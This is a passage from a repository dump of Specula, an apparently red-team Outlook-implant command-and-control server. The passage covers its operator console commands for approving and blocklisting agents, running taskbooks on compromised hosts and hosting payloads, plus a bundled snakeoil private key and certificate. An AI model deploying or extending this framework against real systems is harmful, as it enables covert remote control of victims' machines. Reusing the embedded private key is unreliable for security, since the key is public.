help_settings(self):\r\n        print(\"Description: Shows global settings\")\r\n        print(\"Usage: settings\")\r\n\r\n    def do_listblocklist(self, cmd):\r\n        self.helpers.listblocklist()\r\n\r\n    def do_listallowlist(self, cmd):\r\n        self.helpers.listallowlist()\r\n\r\n    def do_addblocklist(self,cmd):\r\n        args = self.helpers.getarguments(cmd)\r\n        if len(args) > 1:\r\n            print(\"improper usage\")\r\n            self.help_addblocklist()\r\n            return\r\n        self.helpers.addblocklist(args[0], False)\r\n\r\n    def help_addblocklist(self):\r\n        print(\"Description: add a single item to the specula blocklist file and active record store\")\r\n        print(\"Usage: addblocklist <ip>\")\r\n\r\n    def do_updateSetting(self, cmd):\r\n        args = Helpers.getarguments(cmd)\r\n        if len(args) == 0:\r\n            print(\"You need to specify a key\")\r\n            return\r\n        key = args.pop(0)\r\n        if len(args) == 0:\r\n            val = None\r\n        else:\r\n            val = ' '.join(args)\r\n        try:\r\n            if hasattr(gconfig, key):\r\n                setattr(gconfig, key, val)\r\n                if key == 'IP_blocklist':\r\n                    self.helpers.init_blocklist()\r\n            else:\r\n                print(\"Invalid setting\")\r\n        except Exception as msg:\r\n            print(\"Failed to set option: {}\".format(msg))\r\n\r\n    def do_approveAgent(self, cmd):\r\n        args = self.helpers.getarguments(cmd)\r\n        if len(args) == 0:\r\n            print(\"you must provide an agent to approve\")\r\n            return\r\n        agent = helpers.a_list.get_agent(args[0])\r\n        if agent is None:\r\n            print(\"Could not find the id given\")\r\n            return\r\n        agent.initialcheckincount = gconfig.INITIAL_CHECKIN_COUNT-2\r\n        self.helpers.save_agents_to_file()\r\n        print(\"Agent will be approved on next callback\")\r\n\r\n    def complete_approveAgent(self, text, line, begidx, endidx):\r\n        return [str(i.id) for i in self.helpers.a_list if str(i.id).startswith(text)]\r\n\r\n    def help_approveAgent(self):\r\n        print(\"manually sets an agent to approved\")\r\n\r\n    def do_blocklistAgent(self, cmd):\r\n        args = self.helpers.getarguments(cmd)\r\n        if len(args) == 0:\r\n            print(\"you must provide an agent to approve\")\r\n            return\r\n        agent = helpers.a_list.get_agent(args[0])\r\n        if agent is None:\r\n            print(\"Could not find the id given\")\r\n            return\r\n        agent.approved = False\r\n        self.do_addblocklist(agent.remoteip)\r\n        self.helpers.save_agents_to_file()\r\n        print(\"blocklisted!\")\r\n\r\n    def complete_blocklistAgent(self, text, line, begidx, endidx):\r\n        return [str(i.id) for i in self.helpers.a_list if str(i.id).startswith(text)]\r\n\r\n    def help_blocklistAgent(self):\r\n        print(\"manually blocklist an agent\")\r\n\r\n\r\n    def help_updateSetting(self):\r\n        print(\"Description: use this to change a setting\")\r\n        print(\"Usage: updateSetting <settingname>\")\r\n        print(\"Currently This is experiemental, options will update, but the effect inside the framework for updating as\"\r\n              \"options are running is as of yet, untested\")\r\n\r\n    def complete_updateSetting(self, text, line, begidx, endidx):\r\n        return [i for i, j in inspect.getmembers(gconfig) if i.startswith(text) and i[0] != '_']\r\n\r\n    def do_clear(self, inp):\r\n        os.system('clear')\r\n\r\n    def do_listallq(self, cmd):\r\n        for selected_agent in self.helpers.a_list:\r\n            print(\"{:4} {:30} {:18}\".format(selected_agent.id, selected_agent.hostname + ':' +selected_agent.username, selected_agent.remoteip))\r\n            if len(selected_agent.tasks) == 0:\r\n                print(\"\\tEmpty queue\")\r\n            else:\r\n                for item in selected_agent.tasks:\r\n                    print(\"\\tQueue Item #{}\".format(selected_agent.tasks.index(item) + 1))\r\n                    print(\"\\t\\tModule Name:\\t{}\".format(item.name))\r\n                    for arg in item.options.keys():\r\n                        if 'hidden' not in item.options[arg] or item.options[arg]['hidden'] is False:\r\n                            print(\"\\t\\t{}:\\t{}\".format(arg, item.options[arg]['value']))\r\n                    print(\"\\n\")\r\n\r\n    def help_listallq(self):\r\n        print(\"Description: List all agents task queues\")\r\n\r\n    \r\n    def help_clear(self):\r\n        print(\"Description: Clears the screen\")\r\n        print(\"Usage: clear\")\r\n    \r\n    def do_logo(self, inp):\r\n        gen_logo()\r\n    \r\n    def help_logo(self):\r\n        print(\"Description: Show the incredible Specula logo\")\r\n        print(\"Usage: logo\")\r\n\r\n    def do_dbdata(self, inp):\r\n        outlist = {}\r\n        try:\r\n            agent = self.helpers.a_list.get_agent(int(inp))\r\n            for value in vars(agent):\r\n                if value == \"encryptedvbsfunctions\":\r\n                    outlist.update( {\"functions loaded\" : len(agent.encryptedvbsfunctions) })\r\n                elif value == \"tasks\":\r\n                    outlist.update( {\"tasks in queue\" : len(agent.tasks) })\r\n                else:\r\n                    outlist.update( {value : str(vars(agent)[value]) })\r\n            for key,val in sorted(outlist.items()):\r\n                print(\"{} : {}\".format(key,val) , end = \"\\n\")\r\n        except ValueError:\r\n            print(\"Agent not found - Did you specify a valid ID?\")\r\n        except TypeError:\r\n            print(\"Agent not found - Did you specify a valid ID?\")\r\n\r\n    def help_dbdata(self):\r\n        print(\"Description: Shows all db data for agent, intended for debugging\")\r\n        print(\"Usage: dbdata <id>\")\r\n\r\n    def complete_dbdata(self, text, line, begidx, endidx):\r\n        agent_ids = self.helpers.a_list.get_agents_id()\r\n        return [i for i in agent_ids if i.startswith(text)]\r\n        \r\n    def do_log(self, inp):\r\n        try:\r\n            print(open('./'+gconfig.SPECULA_LOG_FILE, \"r\").read())\r\n        except FileNotFoundError:\r\n            print(\"Log file not found - verify that ./{} exists\".format(gconfig.SPECULA_LOG_FILE))\r\n\r\n    def help_log(self):\r\n        print(\"Description: Shows output from the main log specula log file\")\r\n        print(\"Usage: log\")\r\n\r\n    def do_resetdb(self, inp):\r\n        while 1:\r\n            confirm = input(\"Are you sure you want to delete all agents from database?\\n\\nA PREFERRED WAY WOULD BE TO RUN THE TASK: Exe - Remove Homepage on each agent.\\nYou will not be able to recover this after you answer yes. \\n\\nYou have been WARNED!\\n\\nType YES to confirm (needs to be uppercase) - Anything else will exit without deleting\\n\")\r\n            if confirm == \"YES\":\r\n                del self.helpers.a_list[:]\r\n                self.helpers.save_agents_to_file()\r\n                print(\"Removed all data from \" + gconfig.DATABASEFILENAME)\r\n                break\r\n            else:\r\n                break\r\n\r\n    def help_resetdb(self):\r\n        print(\"Description: Removes all agents from the database - Get a fresh start\")\r\n        print(\"Usage: resetdb\")\r\n    \r\n    def default(self, inp):\r\n        if inp == 'exit' or inp == 'quit':\r\n            return self.do_exit(inp)\r\n \r\n        print(\"Default: {}\".format(inp))\r\n\r\n    def do_runTaskbook(self, cmd):\r\n        args = self.helpers.getarguments(cmd)\r\n        if len(args) != 2:\r\n            print(\"Invalid command, check help if needed\")\r\n            return\r\n        try:\r\n            if args[1] not in self.helpers.taskbooks:\r\n                print(\"could not find requested taskbook\")\r\n                return\r\n            task = self.helpers.taskbooks[args[1]]\r\n            agents = []\r\n            if args[0] == '*': # run taskbook on all agents:\r\n                agents = self.helpers.a_list\r\n            else:\r\n                agents = [self.helpers.a_list.get_agent(int(i)) for i in args[0].split(',')]\r\n                print(agents)\r\n            for agent in agents:\r\n                self.helpers.speclog('{}: running taskbook {}'.format(agent.hostname, args[1]), output=True)\r\n                task.TaskBook(self.helpers, agent)\r\n        except Exception as msg:\r\n            traceback.print_exc()\r\n            print(\"error while attempting to run taskbook: {}\".format(msg))\r\n\r\n    def complete_runTaskbook(self, text, line, begidx, endidx):\r\n        args = self.helpers.getarguments(line)\r\n        if len(args) < 2 or (len(args) == 2 and line[-1] != ' '):\r\n            if len(text) == 0:\r\n                return self.helpers.a_list.get_agents_id() + ['*']\r\n            elif text[-1] == ',' and '*' not in line: #have to sanity check the system\r\n                return [text + i for i in self.helpers.a_list.get_agents_id() if i not in text.split(',')]\r\n            elif '*' not in line:\r\n                return [text + ',' + i for i in self.helpers.a_list.get_agents_id() if i not in text.split(',')]\r\n        else:\r\n            return [i for i in self.helpers.taskbooks.keys() if i.startswith(text)]\r\n\r\n    def help_runTaskbook(self):\r\n        print(\"Usage: runTaskbook <* OR comma separated ids> <taskbookname>\")\r\n\r\n    def do_version(self, version):\r\n        print(\"Running version: {0}\".format(__version__))\r\n    \r\n    def help_version(self):\r\n        print(\"Usage: version\")\r\n\r\ndef sig_handler(server, sig, frame):\r\n    io_loop = tornado.ioloop.IOLoop.instance()\r\n\r\n    def stop_loop(deadline):\r\n        now = time.time()\r\n        if now < deadline and (io_loop._callbacks or io_loop._timeouts):\r\n            logging.info('Waiting for next tick')\r\n            io_loop.add_timeout(now + 1, stop_loop, deadline)\r\n        else:\r\n            io_loop.stop()\r\n            logging.info('Shutdown finally')\r\n\r\n    def shutdown():\r\n        logging.info('Stopping http server')\r\n        server.stop()\r\n        logging.info('Will shutdown in %s seconds ...',\r\n                     5)\r\n        stop_loop(time.time() + 5)\r\n\r\n    logging.warning('Caught signal: %s', sig)\r\n    io_loop.add_callback_from_signal(shutdown)\r\n\r\ndef main_c2(helpers):\r\n    global running\r\n    application = speculaApplication(helpers, [\r\n        (gconfig.VALIDATE_URL, ValidateAgentHandler),\r\n        (gconfig.BASE_PATH_AGENT_COM+\".*\", AgentComHandler),\r\n        #(\"/devcom/.*\", AgentDevComHandler), # ONLY ENABLE ON DEV\r\n        (gconfig.BASE_PAYLOAD_URL+\"(.*)\", PayloadHandler, {\"path\": \"./payloadhosting/\"}),\r\n        (r'/.*', UnknownPageHandler)  # Make this the last line, if not matched, will hit this rule.\r\n    ], autoescape=None) #, debug=True) #Remove debug if you dont want every url request\r\n    ssl_opts = None if not gconfig.SSL else {'certfile': gconfig.CERT_FILE, 'keyfile': gconfig.KEY_FILE, 'ssl_version': ssl.PROTOCOL_TLSv1_2}\r\n    try:\r\n        asyncio.set_event_loop(asyncio.new_event_loop())\r\n        http_server = tornado.httpserver.HTTPServer(application, ssl_options=ssl_opts)\r\n        http_server.xheaders = True  #Makes sure to get the real_ip if x-options are in use: https://www.tornadoweb.org/en/stable/httpserver.html\r\n        http_server.listen(gconfig.WEBSERVER_PORT) #Read from global config\r\n        tornado.ioloop.IOLoop.instance().start()\r\n        http_server.start()\r\n    except Exception as e:\r\n        if \"Address already in use\" in str(e):\r\n            print(\"[!] Something is already listening on the port. Stop the service and try again (hint service apache2 stop).\")\r\n            helpers.closelog()\r\n            os._exit(1) # need os._exit() vs sys.exit due to inside of thread\r\n        else:\r\n            print(\"[!] Something went wrong, printing error message here: \" + str(e))\r\n\r\n#def monitor():  ### Add monitor code here - pushover, tasks that goes wrong etc\r\n#    while True:\r\n#        time.sleep(10)\r\n        #print(\"Inside monitor\")\r\n    \r\n\r\ndef gen_logo():\r\n    print(\"\\033[0;37m                                                                  \")\r\n    print(\"                                  @@                               \")\r\n    print(\"                                @@@@@@                              \")\r\n    print(\"                              @@@@@@@@@@                            \")\r\n    print(\"                            @@@@@@@@@@@@@@                          \")\r\n    print(\"                           @@@@@@@@@@@@@@@                          \")\r\n    print(\"                           @@@@@@@@@@@@@@@                          \")\r\n    print(\"                           @@@@@@@@@@@@@@@                          \")\r\n    print(\"                   @       @@@@@@   @@@@@@       @@                 \")\r\n    print(\"                @@@@       @@@@       @@@@       @@@@               \")\r\n    print(\"              @@@@@@    @@@@@    @@     @@@@@    @@@@@@@            \")\r\n    print(\"              @@@@@@  @@@@      @@@@       @@@@  @@@@@@@            \")\r\n    print(\"              @@@@@@@@@@     @@@    @@@     @@@@@@@@@@@             \")\r\n    print(\"      @       @@@@@@@      @@@        @@@       @@@@@@@@     @@     \")\r\n    print(\"    @@@       @@@@@      @@              @@       @@@@@@     @@@@   \")\r\n    print(\"  @@@@@      @@@@     @@@        @@@       @@@      @@@@     @@@@@@ \")\r\n    print(\"  @@@@@   @@@@      @@@        @@@@@@@       @@@       @@@   @@@@@@ \")\r\n    print(\"  @@@@@@@@@@     @@@        @@@@@@@@@@@@@       @@@      @@@@@@@@@@ \")\r\n    print(\"  @@@@@@@@     @@@        @@@@@@     @@@@@@       @@@      @@@@@@@@ \")\r\n    print(\"  @@@@@     @@@        @@@@@@@          @@@@@@       @@@      @@@@@ \")\r\n    print(\"  @@@     @@@        @@@@@@@      @       @@@@@@       @@@      @@@ \")\r\n    print(\"  @    @@@         @@@@@@      @@@@@@       @@@@@         @@@    @ \")\r\n    print(\"     @@@       @@    @@@@@@ @@@@@@@@@@@       @@@@@@        @@@     \")\r\n    print(\"   @@@        @@@@@@    @@@@@@@@@   @@@@@@@      @@@@@        @@@   \")\r\n    print(\"  @@            @@@@@@     @@@@@@ \\033[0;31m-:\\033[0;37m   @@@@@@@ @@@@@            @@  \")\r\n    print(\"        @@        @@@@@@     @@@@  \\033[0;31m#+\\033[0;37m    @@@@@@@@@         @@       \")\r\n    print(\"     @@@@@           @@@@@      \\033[0;31m*:+#*- :\\033[0;37m    @@@@           @@@@     \")\r\n    print(\"   @@@@@@@             @@@@@@   \\033[0;31m=*##+:+*\\033[0;37m                   @@@@@@@  \")\r\n    print(\"  @@@@@@@@               @@@@  \\033[0;31m*###*::+#+\\033[0;37m                  @@@@@@@@ \")\r\n    print(\"  @@@@@@@@                 @\\033[0;31m-:##**#######\\033[0;37m  @               @@@@@@@@ \")\r\n    print(\"  @@@@@@@@                   \\033[0;31m=#*-=#######\\033[0;37m  @@@@            @@@@@@@@ \")\r\n    print(\"  @@@@@@@@            @@@    \\033[0;31m:#*:    =##+\\033[0;37m  @@@@@@          @@@@@@@@ \")\r\n    print(\"  @@@@@@@@          @@@@@@@@  \\033[0;31m:+=    -+:::\\033[0;37m   @@@@@@@       @@@@@@@@ \")\r\n    print(\"  @@@@@@@@        @@@@@@@@@@@@          @@     @@@@@@@     @@@@@@@@ \")\r\n    print(\"  @@@@@@@@     @@@@@@      @@@@@     @@@@@@@      @@@@     @@@@@@@@ \")\r\n    print(\"  @@@@@@@@       @@@@@@      @@@@@@@@@@@@@@@@@@            @@@@@@@@ \")\r\n    print(\"  @@@@@@@@         @@@@@@      @@@@@@@     @@@@@@          @@@@@@@@ \")\r\n    print(\"  @@@@@              @@@@@@@     @@@     @@@@@@@               @@@@ \")\r\n    print(\"  @@    @@@@@           @@@@@@         @@@@@@           @@@@@@   @@ \")\r\n    print(\"      @@@@@@@@@           @@@@@@     @@@@@@           @@@@@@@@@@    \")\r\n    print(\"  @@@@@@@@@@@@@@@@           @@@@@@@@@@@            @@@@@@@@@@@@@@@ \")\r\n    print(\"  @@@@@@@@@@@@@@@@@@           @@@@@@@           @@@@@@@@@@@@@@@@@@ \")\r\n    print(\"  @@@@@@@@@@@@@@@@@@@@           @@@           @@@@@@@@@@@@@@@@@@@@ \")\r\n    print(\"  @@@@@@@@@@@@@@@@@@@@@@@                   @@@@@@@@@@@@@@@@@@@@@@@ \")\r\n    print(\"  @@@@@@@@  @@@@@@@@@@@@@@@@             @@@@@@@@@@@@@@@@  @@@@@@@@ \")\r\n    print(\"  @@@@@@@@    @@@@@@@@@@@@@@@@         @@@@@@@@@@@@@@@     @@@@@@@@ \")\r\n    print(\"  @@@@@@@@       @@@@@@@@@@@@@@@@    @@@@@@@@@@@@@@        @@@@@@@@ \")\r\n    print(\"  @@@@@@@@          @@@@@@@@@@@@@@@@@@@@@@@@@@@@@          @@@@@@@@ \")\r\n    print(\"  @@@@@@@@            @@@@@@@@@@@@@@@@@@@@@@@@@            @@@@@@@@ \")\r\n    print(\"  @@@@@@@@              @@@@@@@@@@@@@@@@@@@@@              @@@@@@@@ \")\r\n    print(\"  @@@@@@@@                @@@@@@@@@@@@@@@@@                @@@@@@@@ \")\r\n    print(\"  @@@@@@@@                  @@@@@@@@@@@@@                  @@@@@@@@ \")\r\n    print(\"  @@@@@@@@                    @@@@@@@@@                    @@@@@@@@ \")\r\n    print(\"  @@@@@@@@                       @@@                       @@@@@@@@ \")\r\n    print(\"  @@@@@@@@                                                 @@@@@@@@ \")\r\n    print(\"  @@@@@@@@                                                 @@@@@@@@ \")\r\n    print(\"  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ \")\r\n    print(\"  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ \")\r\n    print(\"  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ \")\r\n    print(\"  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ \")\r\n    ##Orange = \\033[33m\r\n    ##Yellow = \\033[1;33m\r\n    ##Red = \\033[0;31m\r\n    #print(\"\\033[0;31m                                                                 /\")\r\n    #print(\"\\033[0;31m                                                               ///\")\r\n    #print(\"\\033[0;31m                                                              ////\")\r\n    #print(\"\\033[33m                                                            *\\033[0;31m///////\")\r\n    #print(\"\\033[33m                                                          ****\\033[0;31m////////\")\r\n    #print(\"\\033[33m                                                       *********\\033[0;31m//////\")\r\n    #print(\"\\033[33m                                                     ***********\\033[0;31m//////\")\r\n    #print(\"\\033[33m                                                     ***********\\033[0;31m//////        /\")\r\n    #print(\"\\033[33m                                                     ***********\\033[0;31m//////     ,////,\")\r\n    #print(\"\\033[33m                                            *        ***********\\033[0;31m//////////////////\")\r\n    #print(\"\\033[33m                                            **       **********\\033[0;31m////////////////////\")\r\n    #print(\"\\033[33m                                          ******   *************\\033[0;31m//////////////////////\")\r\n    #print(\"\\033[33m                                          *********************\\033[0;31m///////////////////////\")\r\n    #print(\"\\033[33m                                        **********************\\033[0;31m/////////////////////////\")\r\n    #print(\"\\033[0;35m       /////////////////////////////////\\033[33m*********************\\033[0;31m///////////////////////\\033[0;35m...//////////////////////////////\")\r\n    #print(\"\\033[0;35m       /////////////////////////////////\\033[33m*********************\\033[0;31m///////////////////////\\033[0;35m...//////////////////////////////\")\r\n    #print(\"\\033[0;35m       //////                           \\033[33m********************\\033[0;31m////////////////////////           \\033[0;35m                //////\")\r\n    #print(\"\\033[0;35m       //////       .,&&(((((&&,        \\033[33m*********************\\033[0;31m///////////////////////        \\033[0;35m,&&(((((&&,.       //////\")\r\n    #print(\"\\033[0;35m       //////       @@////////&@@*        \\033[33m********************\\033[0;31m////////////////////        \\033[0;35m*@@&////////@@       //////\")\r\n    #print(\"\\033[0;35m       //////       @@//////////(@,*       \\033[33m.*******************\\033[0;31m/////////////////        \\033[0;35m*,@(//////////@@       //////\")\r\n    #print(\"\\033[0;35m       //////       **@@///////////&@@*,      \\033[33m*******************\\033[0;31m/////////////      \\033[0;35m,*@@&///////////@@**       //////\")\r\n    #print(\"\\033[0;35m       //////         **@@*//////////(@@*   .   \\033[33m..*****************\\033[0;31m////////.   .   \\033[0;35m*@@(//////////*@@**         //////\")\r\n    #print(\"\\033[0;35m       //////           , &@@///////////&@(          \\033[33m,,,**************\\033[0;31m,          \\033[0;35m(@&///////////@@& ,           //////\")\r\n    #print(\"\\033[0;35m       //////              **@@///////////(@@*,                              ,*@@(///////////@@**              //////\")\r\n    #print(\"\\033[0;35m       //////                ,,&&((//////////&@(/                          /(@&//////////((&&,,                //////\")\r\n    #print(\"\\033[0;35m       //////                    (@@*//////////(@&,,                    ,,&@(//////////*@@(                    //////\")\r\n    #print(\"\\033[0;35m       //////                     .,&&((//////////&@((                ((@&//////////((&&,.                     //////\")\r\n    #print(\"\\033[0;35m       //////                         ((&&//////////(@&&,          ,&&@(//////////&&((                         //////\")\r\n    #print(\"\\033[0;35m       //////                       **@@///////////////&@@*      *@@&///////////////@@**                       //////\")\r\n    #print(\"\\033[0;35m       //////                     &&@@///////////////////(@&&..&&@(///////////////////@@&&                     //////\")\r\n    #print(\"\\033[0;35m       //////                  **@@&//////////(@@///////////&@@&///////////@@(//////////&@@**                  //////\")\r\n    #print(\"\\033[0;35m       //////                **@@///////////&@@**@@*////////////////////*@@**@@&///////////@@**                //////\")\r\n    #print(\"\\033[0;35m       //////             .((&&//////////(@&&.   .%&@@////////////////@@&%.   .&&@(//////////&&((.             //////\")\r\n    #print(\"\\033[0;35m       //////           *&@@(//////////&@@*         **@@////////////@@**         *@@&//////////(@@&*           //////\")\r\n    #print(\"\\033[0;35m       //////       ..((&&//////////(@&%,             ,,%%((////((%%,,             ,%&@(//////////&&((..       //////\")\r\n    #print(\"\\033[0;35m       //////       &@((//////////@@//                    /@@@@@@/                    //@@//////////((@&       //////\")\r\n    #print(\"\\033[0;35m       //////       @@/////////#@%,,                                                    ,,%@#/////////@@       //////\")\r\n    #print(\"\\033[0;35m       //////       @@///////@@/*                                                          */@@/////@@//       //////\")\r\n    #print(\"\\033[0;35m       //////       ,*@@@@@@@*,                                                              ,*@@@@@**         //////\")\r\n    #print(\"\\033[0;35m       //////                                                                                                  //////\")\r\n    #print(\"\\033[0;35m       //////////////////////////////////////////////////////////////////////////////////////////////////////////////\")\r\n    #print(\"\\033[0;35m       //////////////////////////////////////////////////////////////////////////////////////////////////////////////\")\r\n    print(\"\\033[0m\")\r\n    print(\"Specula - Outlook webview C2 - Code based on TrevorC2 by \\033[1;101mDave Kennedy\\033[1;49m\")\r\n    print(\"\\033[1;36;40mSpecula in Latin means watchtower/lookout\\033[0m\")\r\n    print(\"\\nWritten originally by: \\033[1;34;40mOddvar Moe\\033[0m (@oddvarmoe)\")\r\n    print(\"Re-written by: \\033[1;34;40mChristopher Paschen\\033[0m (@freefirex2)\")\r\n    print(\"Contributions from the entire \\033[32mTrustedSec Targeted Operations Team \\033[0;31m<3\\033[0m - AKA UNC1194   \\n\")\r\n    \r\n    #PYTHONVER = sys.version_info[0]\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    if not os.path.exists('agent_data'):\r\n        os.makedirs('agent_data')\r\n    if not os.path.exists('payloadhosting'):\r\n        os.makedirs('payloadhosting')\r\n    gen_logo()\r\n    #initial or load setup\r\n    helpers = Helpers(log)\r\n    helpers.loadModules(\"./functions\")\r\n    helpers.loadModules(\"./hiddenFunctions\", hidden=True)\r\n    helpers.loadTaskBooks(\"./Taskbooks\")\r\n    helpers.load_agents_from_file(gconfig.DATABASEFILENAME)\r\n    helpers.load_payloads_from_file(gconfig.PAYLOADFILENAME)\r\n    parser = argparse.ArgumentParser(\r\n        description=\"outlook implant framework\")\r\n    parser.add_argument('-r', type=argparse.FileType('r'), default=None,\r\n                        help=\"rcfile with list of commands to execute in order (can not use taskbook in this interface)\")\r\n    parser.add_argument('-d', action='store_true', help='debug what is going on, not opsec safe')\r\n    args = parser.parse_args()\r\n    if args.d:\r\n        gconfig.DEBUG = True\r\n    if args.r is not None:\r\n        precommands = args.r.readlines()\r\n        helpers.rccommands = [c.strip('\\n') for c in precommands]\r\n    t = threading.Thread(target=main_c2, args=(helpers,))\r\n    t.start()\r\n    #w = threading.Thread(target=monitor)\r\n    #w.start()\r\n    print(\"[*] Specula Version \" + str(__version__))\r\n    print(\"[*] Type help for usage\\n\")\r\n    \r\n    keep_running = True\r\n    while keep_running:\r\n        try:\r\n            ### INIT Main Command line ###\r\n            commandline = SpecPrompt(helpers)\r\n            commandline.cmdloop()\r\n            helpers.closelog()\r\n            os._exit(0) #Exit out\r\n\r\n        except KeyboardInterrupt:\r\n                print(\"\\n\\n[*] Exiting SpeculaC2\")\r\n                helpers.operatorlog(str(\"Keyboard interupt (ctrl+c)\"), False)\r\n                response = input(\"Are you sure you want to quit(y to quit)? \").lower()\r\n                if response == \"y\":\r\n                    helpers.operatorlog(str(\"y\"), False)\r\n                    helpers.closelog()\r\n                    os._exit(0)\r\n                else:\r\n                    keep_running = True\r\n\r\n            #os.system('kill $PPID') # This is an ugly method to kill process, due to threading this is a quick hack to kill with control-c. Will fix later.\r\n\r\n"
  },
  {
    "path": "ssl/ssl-cert-snakeoil.key",
    "content": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvmG0yhEe7dfN+\n2e64/KvOz1zf3NHK40+y9/3VzoeU1dIH3OmtVnZ8eP1rFL9ak4SuWP48chNKkVpC\npbyrk91vR++VcbELnpIp/7TxiIdmjyi2wrs3Y1hdLEuOlBn0xOl5XGoUfoXc0N50\n9XehjFcj2rz5l8WJFA9Se6WaPgOylViejj3PWFKNw4Fig/cVWlOOV1RaKCaZPOv+\n51i5/AiAwMYQIKvxkogCGsIAItg0fwetj3DZC0MROR2eFwr0SZrNgIf21FWdMJBI\n2Ge7mRLZUvDf35zOJUW3xeCxFA+lV8FO8YVG62znBfzYa/wcyWu9xHc8emEtMTeP\n6oTg6wD5AgMBAAECggEAZyYhL0WpZaN6MBARPbWfr1L8ebybuJUjIjyvbcNuva2F\nPX01/88Et0XTh+2eIrT5gflhD1zrnCgaX4BAfoHT2CTnxmAM4oh50BYX0rKi50o9\nXm6xz22aYNE+aTjyrmhlxhbVcciJFhfUNdxkNA/euH8r92qCbW3NOmTL+Plo7qP2\n8pb79WmgquqfYQ4EhQwWyiZ17YlJ/4vROEPCpPm5/jPVDjuDHRp7t/MLWIydVyWs\nHetZRCaTI6OH7F+0azYvritykc2gRw8wLtDu5DgGtJQcAfXkk03gn9nws++foJYZ\n2snBz/dCaScplJPc5FWdf1qBNPl8ydtrCxhAEtlzIQKBgQDgmep7F35qIB7GNVoG\nTOnH4qMHDKaZrTI7js5zYZ3vFVOuvsqDjziHRSI976s5ycbWr20mqFpFhu5o2DbE\n15leAMSeLnQaND/hUa1wW+lldzBPzME/28NphTsVqxetHhcE8v2LiQgSJXWfRDBL\nLWionPUCZV18hYriSopZ4JaGlQKBgQDIJK2qPqFHUNriYprUIQXYfIXmXZBKD3j5\n2ZhFe0oQYGOIpDOHzaCM+jWay7JFFiDt0fhgIzTzoXfcSTyUZkUa3uFVMY87SSGu\n9ykRAeEofeYjwQkRMuUE7AZoP+cOONrR0YkY/0Yqn3Qt4572Gpj+QDXRbyIzguby\n58CshEor1QKBgQCjSKKEXH8l7jYRSSYqoG3xSF3XOSZBYP28+MQ0c8pazzloOAKI\nhG3HQcZ0GrJzr7KjzyNeUFRYaZEXneCrWEaCZbKLgSAdENFEIJojrl5OysjPqv7v\nSviU1SwwQ5NR4yc/DNyxPa0lbCBH6k3lyZxlwL4KwOCnL3rZqvFMCA/GxQKBgGQI\nkRRqQUnXy88i4afs6XMOqg497YRWv2yBqW3w9U/CHX2KNIdH61sLJAe+j9ef+81i\nCPZkIm8y4SmlITY694c6pv1hy+kh4EgHGOt7OQJ4CrMMJHAINBeFsJ4icmXVXOlK\nBXANBxD+qZ7WCfmPybAqf7uyBDIi1zPJSa/wXvIRAoGAeSiTIrOGlKlvf1TNLR+7\nAainHezvZYSbltz6dkQg3c5nd4/kpkImCUyzIfadHz70EpEZQlYu2Ynt3c9eC1yp\nfVVzpPRPTbwhxC6OQv/dTus0WYoz0tZWBGCEj78/MkSZAjfaUsXhZMBQqqMVmVVt\nRjzI8Y+NPVYF3yyrBYt5Ohg=\n-----END PRIVATE KEY-----\n"
  },
  {
    "path": "ssl/ssl-cert-snakeoil.pem",
    "content": "-----BEGIN CERTIFICATE-----\nMIIDBzCCAe+gAwIBAgIJAINGOZrDXvI2MA0GCSqGSIb3DQEBCwUAMCcxJTAjBgNV\nBAMMHGlwLTE3Mi0zMS04MC0zNS5lYzIuaW50ZXJuYWwwHhcNMjAwNTEyMDkzMzAw\nWhcNMzAwNTEwMDkzMzAwWjAnMSUwIwYDVQQDDBxpcC0xNzItMzEtODAtMzUuZWMy\nLmludGVybmFsMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr5htMoRH\nu3XzftnuuPyrzs9c39zRyuNPsvf91c6HlNXSB9zprVZ2fHj9axS/WpOErlj+PHIT\nSpFaQqW8q5Pdb0fvlXGxC56SKf+08YiHZo8otsK7N2NYXSxLjpQZ9MTpeVxqFH6F\n3NDedPV3oYxXI9q8+ZfFiRQPUnulmj4DspVYno49z1hSjcOBYoP3FVpTjldUWigm\nmTzr/udYufwIgMDGECCr8ZKIAhrCACLYNH8HrY9w2QtDETkdnhcK9EmazYCH9tRV\nnTCQSNhnu5kS2VLw39+cziVFt8XgsRQPpVfBTvGFRuts5wX82Gv8HMlrvcR3PHph\nLTE3j+qE4OsA+QIDAQABozYwNDAJBgNVHRMEAjAAMCcGA1UdEQQgMB6CHGlwLTE3\nMi0zMS04MC0zNS5lYzIuaW50ZXJuYWwwDQYJKoZIhvcNAQELBQADggEBAKfPxE2n\ntax6bUvxNUIMJzbgmjNSxIzuqpnobc2CFx9NqEd9TMZ+x2Hgk+nnboOb+W6KYG7h\nRNFdNeb/MVDt3qieqsW6Ud2yqeW+2k9ZwrhwBIFsZP4NbjevShYk78WCu/gtM+Wt\n+0frvciSnYklFFtadoWuUPjQbETgsjvxjB6O+lLXQyPgARp2ZvgKLdNybslSPOHf\nh//Tg4nBcUwthFlsUFxVpg2aoopFwLfm4sgcC5fWAfK7sa3qHK6z8WPFoK+xyzbb\nCnAMMsXwBv6+K2abHx+LhNYr3+lMgfO6zyK0b4gLemOdtcC730cO7hK/7ByG4xuJ\nZWTkYNIoVy3/BOU=\n-----END CERTIFICATE-----\n"
  }
]